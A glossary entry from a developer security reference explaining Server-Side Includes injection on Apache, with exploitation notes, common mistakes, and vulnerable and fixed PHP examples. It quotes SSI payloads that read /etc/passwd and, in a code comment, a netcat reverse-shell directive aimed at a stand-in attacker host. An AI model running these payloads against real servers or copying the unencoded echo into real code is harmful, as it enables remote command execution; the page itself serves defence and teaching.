← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

Server-Side Includes (SSI) Injection

Security CWE-97 OWASP A3:2021 CVSS 9.8 Intermediate
debt(d7/e3/b3/t7)
d7 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'only careful code review or runtime testing' (d7). Semgrep can flag echoing unescaped input, but detecting whether SSI is actually enabled requires inspecting Apache config and `.htaccess` files across the deployment — usually only caught by careful review or pentesting probes.

e3 Effort Remediation debt — work required to fix once spotted

Closest to 'simple parameterised fix' (e3). The quick_fix is two changes: disable `Options +Includes` in config and add `htmlspecialchars()` on reflected values — small parameterised hardening, not a one-liner but contained.

b3 Burden Structural debt — long-term weight of choosing wrong

Closest to 'localised tax' (b3). Applies only to web context on Apache deployments; the SSI configuration choice burdens the server config and templating layer but doesn't reshape the whole codebase.

t7 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'serious trap' (t7). The misconception is that SSI is obsolete and off by default — but shared hosts enable it, `.htaccess` flips it on, and even `.html` files can be parsed. Developers also wrongly assume `IncludesNOEXEC` removes all risk. Contradicts the modern intuition that legacy features are dormant.

About DEBT scoring →

Also Known As

SSI injection Apache SSI injection shtml injection exec cmd injection

TL;DR

Attacker-controlled SSI directives (`<!--#exec ... -->`) injected into pages parsed by Apache or another SSI-enabled server, achieving file disclosure or remote command execution.

Explanation

Server-Side Includes are an old templating mechanism, still enabled on many Apache deployments via the `Includes` option and `.shtml` files (or `AddType text/html .html` style configurations that route HTML through the SSI parser). Directives include `<!--#include virtual="..." -->` (file inclusion), `<!--#exec cmd="..." -->` (shell command execution, RCE-class), `<!--#exec cgi="..." -->` (CGI execution), `<!--#config ... -->` and `<!--#echo var="..." -->` (variable disclosure including environment variables). SSI injection happens when an application stores or reflects user input into a page parsed for SSI directives — a guest book, a comment system, a profile page — and the server executes the embedded directives at render time. Many engineers assume SSI is dead; in practice, legacy hosting setups, default Apache configurations on shared hosting, and overlooked `.htaccess` directives keep it alive. Defences: disable SSI globally unless required (`Options -Includes` and `Options -IncludesNOEXEC`), HTML-encode user input even in static-feeling pages, restrict SSI parsing to specific extensions and directories, and use `IncludesNOEXEC` to disable the dangerous `#exec` directive while keeping benign includes if they're truly needed.

How It's Exploited

Comment field accepts `<!--#exec cmd="cat /etc/passwd" -->`. Page is served as `.shtml` (or as `.html` with SSI filter enabled). Apache's mod_include sees the directive, runs `cat /etc/passwd`, embeds the output. Victims viewing the comment see /etc/passwd contents, but more importantly the attacker confirmed RCE — next payload is a reverse shell.

Watch Out

On shared Apache hosting, SSI is sometimes enabled for the entire vhost via the provider's defaults. Audit your `.htaccess` chain (including parent directories) before assuming SSI is off.

Common Misconception

SSI is obsolete and not enabled on modern servers. Many shared hosting providers still enable it by default, and `.htaccess` overrides routinely turn it on for specific directories. An application can be vulnerable for years without anyone realising the pages flow through the SSI parser.

Why It Matters

On a vulnerable host, SSI injection is RCE — directly equivalent to running shell commands as the web server user. Discovery is trivial (submit `<!--#exec cmd="id" -->` into any reflected field), exploitation is immediate, and a successful exec gives the attacker file system access, credentials in environment variables, and a launch pad for lateral movement.

Common Mistakes

  • Enabling `Options +Includes` for a directory and forgetting it years later — SSI parses every page in that tree.
  • HTML-encoding user input only in `<script>` and attribute contexts, leaving comments and text content vulnerable to `<!--#exec ... -->`.
  • Trusting that `.html` files don't parse SSI — they do if `AddType text/html .html` and `AddOutputFilter INCLUDES .html` are set.
  • Using `IncludesNOEXEC` and assuming all SSI risk is gone — `#include virtual` still allows file disclosure of CGI-executable paths.
  • Filtering only `<script>` and `<iframe>` while letting `<!-- -->` comments through to the SSI parser.

Avoid When

  • Modern Nginx / FPM-only stacks with no SSI filter — surface area is zero.

When To Use

  • Auditing Apache deployments that serve `.shtml` files or have `AddOutputFilter INCLUDES` configured.
  • Reviewing legacy applications hosted on shared hosting where SSI defaults are unclear.
  • Penetration testing — submit `<!--#echo var="DATE_LOCAL" -->` in reflected fields as a quick probe.

Code Examples

💡 Note
SSI is one of the few injection classes where a server-config fix completely neutralises the vulnerability without touching application code — disable it everywhere it's not actively needed.
✗ Vulnerable
// ❌ User input echoed into a page Apache parses for SSI directives
// File: /var/www/comments.shtml
// .htaccess: Options +Includes
// AddOutputFilter INCLUDES .shtml

<?php
foreach ($comments as $comment) {
    echo "<div class='comment'>";
    echo $comment['body']; // ⚠ Unencoded — SSI directives survive
    echo "</div>";
}
// A comment of <!--#exec cmd="nc attacker 4444 -e /bin/sh" -->
// becomes a reverse shell when Apache's SSI filter parses the response.
✓ Fixed
// ✅ HTML-encode every user value AND disable SSI on directories that don't need it

// .htaccess (or vhost):
//   Options -Includes -IncludesNOEXEC
//   RemoveOutputFilter INCLUDES .html .shtml

<?php
foreach ($comments as $comment) {
    echo "<div class='comment'>";
    echo htmlspecialchars($comment['body'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
    echo "</div>";
}

// Defence in depth:
// 1. htmlspecialchars converts < > & " ' so SSI delimiters cannot survive output.
// 2. SSI is disabled at the server level so even if encoding fails, no directives execute.
// 3. The .shtml extension is blocked entirely on directories serving user-influenced pages.

Added 28 Apr 2026
Views 44
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 1 ping W 1 ping T 0 pings F 0 pings S 0 pings S 0 pings M 1 ping T 1 ping W 0 pings T 2 pings F 0 pings S 1 ping S 0 pings M 0 pings T 2 pings W 0 pings T 1 ping F 0 pings S 0 pings S 0 pings M 0 pings T 1 ping W 1 ping T 1 ping F 1 ping S 1 ping S 0 pings M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Perplexity 5 SEMrush 5 Scrapy 5 Ahrefs 3 Meta AI 3 ChatGPT 2 Google 2 Sogou 2 Claude 1 Qwen 1 PetalBot 1
crawler 28 crawler_json 2
DEV INTEL Tools & Severity
🔴 Critical ⚙ Fix effort: Low
⚡ Quick Fix
Set `Options -Includes -IncludesNOEXEC` on every directory unless SSI is explicitly required, and `htmlspecialchars()` every reflected user value. Verify with `<!--#echo var="DATE_LOCAL" -->` in a test field — if the date renders, SSI is live.
📦 Applies To
web apache
🔗 Prerequisites
🔍 Detection Hints
Apache config with `Options +Includes` or `AddOutputFilter INCLUDES`; PHP code that echoes user input without htmlspecialchars on pages served through the SSI filter
Auto-detectable: ✓ Yes semgrep
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: Low ✗ Manual fix Fix: Low Context: File
CWE-97 CWE-78


✓ schema.org compliant